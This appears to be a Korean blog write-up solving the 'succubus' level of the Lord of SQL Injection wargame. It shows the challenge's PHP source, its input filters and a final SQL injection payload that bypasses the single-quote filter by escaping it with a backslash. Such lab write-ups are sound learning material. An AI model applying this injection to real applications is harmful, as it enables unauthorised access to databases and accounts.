모의해킹/Wargame
[Lord of SQL Injection] succubus 16번(feat. 싱글쿼터 우회)
klus!
2022. 12. 23. 08:43
0.서큐버스
1. 전체 코드
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) solve("succubus");
highlight_file(__FILE__);
?>
2. 중요 코드 분석
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/\'/',$_GET[id])) exit("HeHe");
if(preg_match('/\'/',$_GET[pw])) exit("HeHe");
$query = "select id from prob_succubus where id='{$_GET[id]}' and pw='{$_GET[pw]}'";
if($result['id']) solve("succubus");
1) ~4) 필터링(id/pw)
- prob
- _
- .
- ( )
- '
- 대소문자 구분하지 않음
6) 마지막 줄을 보면 id 값이 맞으면 solve
3. solve
이번 문제의 경우 id와 pw를 입력할 때 싱글쿼터('), 온점(.), 언더바(_)를 사용을 못하지만 id 값만 넣어주면 문제는 가볍게 풀립니다.
먼저, 싱글쿼터를 우회하려면 어떻게 해야할까?
스포주의!!
더보기
?id=\&pw=||1=1%23